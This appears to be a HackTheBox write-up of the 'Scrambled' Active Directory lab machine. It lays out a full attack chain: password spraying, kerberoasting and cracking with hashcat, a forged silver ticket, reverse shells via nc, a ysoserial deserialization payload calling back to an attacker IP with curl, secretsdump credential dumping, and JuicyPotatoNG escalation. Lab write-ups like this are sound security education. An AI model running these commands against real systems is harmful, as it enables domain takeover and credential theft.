HackTheBox — Scrambled

11 min readOct 1, 2022

Scrambled was a medium rated AD machine which had NTLM authentication disabled meaning that you would need to authenticate through kerberos only, the site revelaed a username with a message that the password is the same as the name, through kerbute the credentials can be verified and after accessing SMB through impacket there’s a pdf which is talked about MSSQL service account which was kerberosatable but was not allowed to access MSSQL which led to performing silver ticket and getting a shell as sqlsvc, enumerate the database revealed the password for miscsvc and then having access to IT folder where the Scramble client application lies, was vulnerable to Deserialisation giving a shell as SYSTEM user .

NMAP

PORT      STATE SERVICE       VERSION
53/tcp    open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP:
|     version                         
|_    bind                                   
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-06-11 20:31:53Z)   
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Issuer: commonName=scrm-DC1-CA
|_ssl-date: 2022-06-11T20:35:26+00:00; 0s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local 
| Issuer: commonName=scrm-DC1-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
1433/tcp  open  ms-sql-s      Microsoft SQL Server                                         
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-06-11T20:31:09
| Not valid after:  2052-06-11T20:31:09
| MD5:   aa54 162f 4724 50c6 9c3d 396f 9fcd 1baa
|_SHA-1: 7925 3b1a 758b 687d 02f9 137e 0199 9eca 21bf 9264
|_ssl-date: 2022-06-11T20:35:19+00:00; 0s from scanner time.
4411/tcp  open  found?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, R
PCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, oracle-tns: 
|     SCRAMBLECORP_ORDERS_V1.0.3;
|   FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions: 
|     SCRAMBLECORP_ORDERS_V1.0.3;
|_    ERROR_UNKNOWN_COMMAND;
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  unknown
49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc         Microsoft Windows RPC
49688/tcp open  unknown
49693/tcp open  unknown

PORT 139/455 (SMB)

Checking for null authentication on smb

PORT 80 (HTTP)

On the support page we’ll see a message about NTLM authentication being disabled on the network means that we can’t login with just username and password

There’s a page about new user account creation but it wasn’t making any request

Another page about contacting to supports reveals a username ksimpson

Also there’s a page about the sales app troubleshooting

This tells that Sales Order application is running on port 4411

Password reset page tells about password being reset to same as username so let’s try to see if the username we have as a password as ksimpson

/opt/kerbrute/kerbrute_linux_amd64 passwordspray users.txt ksimpsond -d scrm.local --dc 10.129.72.45 --user-as-pass

Since NTLM authentication is disabled we need to do kerberos authentication, we’ll need a kerberos ticket for ksimpson for that we can use impacket’s getTGT.py

python3 getTGT.py scrm.local/ksimpson

Now create a variable KRB5CCNAME which will hold the this ticket

Having the ticket we can try to authenticate on smb with smbclien

It didn’t work but there’s an impacket script called smbclient.py which we can try to use

And this worked, we can list the available shares wiith shares

These shares can be accessed with use share_name but we were only able to access Public share

This share only has a pdf file

It talks about disabling NTLM authentication as we saw from the alert on the site but it also mentions about credentials being retrieved from SQL so maybe there’s a service account we can kerberoast

On performing kerberoasting with GetUserSPNs.py

But it seems like it isn’t working properly, there was an issue with GetUsersSPNs.py when it’s used with kerberos authentication

We can fix this by following the changes mentioned by the machine author himself. For editing the script we need to know the location of this script for that we can use -debug argument which display where impacket library is installed

After making a small change in the script we can get the TGS for sqlsvc account

GetUserSPNs.py -request -dc-ip DC1.scrm.local  scrm.local/ksimpson -k -no-pass -debug

I didn’t had this issue but some people were having an issue in impacket when using GetUserSPNs and the fix for this was to change the TLS context method from v1 to v1_2

Running hashcat against this hash we can get it cracked

hashcat -a 0 -m 13100 ./sqlsvc_hash.txt /opt/SecLists/Passwords/rockyou.txt --force[

We need to grab sqlsvc’s TGT as well

Checking if we are able to login to mssql

Since administrator is able to access this service we need to perform a Silver Ticket attack

Foothold

We have everything for crafting a silver ticket but we don’t have the domain sid and we can’t use impacket’s lookupid.py as it requires only NTLM authentication but we could use rpcclient and in order to use rpcclient with kerberos authentication we need to install kinit and krb5-user

After having this installed we need to edit /etc/krb5.conf which defines the kerberos relam

[libdefaults]
        default_realm = SCRM.LOCAL[realms]
        SCRM.LOCAL = {
                kdc = 10.129.73.76
        }

Using klist we can check if we have the ticket in the variable

And now we can use rpcclient with kerberos authentication

rpcclient -U 'scrm.local/ksimpson' dc1.scrm.local -k

We can get the domain sid as well by using the command lookupsid any_user_name which well return the sid of the user but ignoring the last 4 digits which identifies the user's sid we can get the domain sid which is S-1-5-21-2743207045-1827831105-2542523200

Now that we have all the pieces together, we need to use ticketer.py from impacket to make our silver ticket but before going into making a ticket we need the NTLM hash for sqlsvc's password so we can just use python to generate us the NTLM hash

import hashlib,binascii
hash = hashlib.new('md4', "Pegasus60".encode('utf-16le')).digest();
print (binascii.hexlify(hash));

ticketer.py -nthash b999a16500b87d17ec7f2e2a68778f05 -spn MSSQLSvc/dc1.scrm.local -domain scrm.local -domain-sid S-1-5-21-2743207045-1827831105-2542523200 administrator

We can now login to mssql using mssqlclient, but xp_cmdshell was disabled as this will allow us to run system commands

We can enable this by running enable_xp_cmdshell

We’ll need a reverse shell, we can get it by uploading nc.exe

After getting a shell as sqlsvc I uploaded ssharphound.exe to enumerate AD

Using netcat we can transfer this archive on to our system

Uploading the json files from archive to bloodhound

Running shortest path to high targets query didn’t showed anything interesting path

Privilege Escalation (miscsvc)

Having a look back at the pdf we found it talks about the credentials being retrieved

So going back to mssqclient we can execute queries, let’s run a query for getting the database names

SELECT name FROM master.dbo.sysdatabases;

Switching to ScrambleHR database, we can now list the tables

SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE';

From UserImport table we can get credentials for MiscSvc

Having the credentials, since NTLM authentication is disabled we can’t use winrm to login, so we’ll just have to use powershell Invoke-Command

$SecPassword = ConvertTo-SecureString 'ScrambledEggs9900' -AsPlainText -Force$Cred = New-Object System.Management.Automation.PSCredential('scrm.local\MiscSvc', $SecPassword)
 
 Invoke-Command -Computer 127.0.0.1 -Credential $Cred -ScriptBlock { whoami }

Transferring nc in miscsvc’s directory we can get a reverse shell as this user

Privilege Escalation (NT / Authority )

We are in IT group so we can now access the IT folder from the share and there’s ScrambleClient exe and dll

Transferring the dll with nc on windows machine we can reverse this by using ILSpy

On loading the dll we can see the variables having the available commands like LOGON , LIST_ORDERS , UPLOAD_ORDERS and QUIT we can also see the ServerPort variable which as a value of 4411 that's listening on port 4411

On using the command LIST_ORDERS, it returns some kind of base64 text, Going back to ILspy, it’s actually serializing the data

We can exploit this by creating a serialized payload using ysoserial using the proper format and gadget for executing commands, Even tho we can use ysoserial on linux with wine but I just used it on windows as it wasn’t working properly on linu

From the help menu, we can look for gadgets which supports NetDataContractSerializer which is a serialization used in .NET applications, generating a serialized payload which will make a request to our server just to test if the exploit works

.\ysoserial.exe -f BinaryFormatter -g SessionSecurityToken -o base64 -c "cmd.exe /c curl http://10.10.14.26:2222/"

This got a hit on our python server, which means we can run execute commands, so we’ll transfer nc and execute it to get a reverse shell

And we got a shell as NT / AUTHORITY, we can now just change the administrator's password to get the TGT and can use either psexec, wmiexec or smbexec to get a shell, we can even use secretsdump.py to get NTDS.dit

psexec

psexec.py scrm.local/administrator@dc1.scrm.local -k -no-pas

wmiexec

wmiexec.py scrm.local/administrator@dc1.scrm.local -k -no-pass

smbexec

smbexec.py scrm.local/administrator@dc1.scrm.local -k -no-pass

secretsdump

Get those hashes

secretsdump.py scrm.local/administrator@dc1.scrm.local -k -no-pass

Un-Intended

The un-intended way for this box was exploiting SeImpersonatePrivilege which sqlsvc user had, the box was blooded by exploiting that privilege through the exploits Juicy and Rouge potato but it was patched as port 445 was closed or wasn't responding when I tried this exploit. Sometime later Opcode shared a tweet related to a new technique being implemented in JuicyPotato

We can just download the exe from github, To verify that we have the impersonate privilege

Now running the exploit

JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c whoami > C:\Users\sqlsvc\file.txt"

Reading output of the whoami command from the file which shows that we are executing commands as SYSTEM user

We can get the shell just by running nc again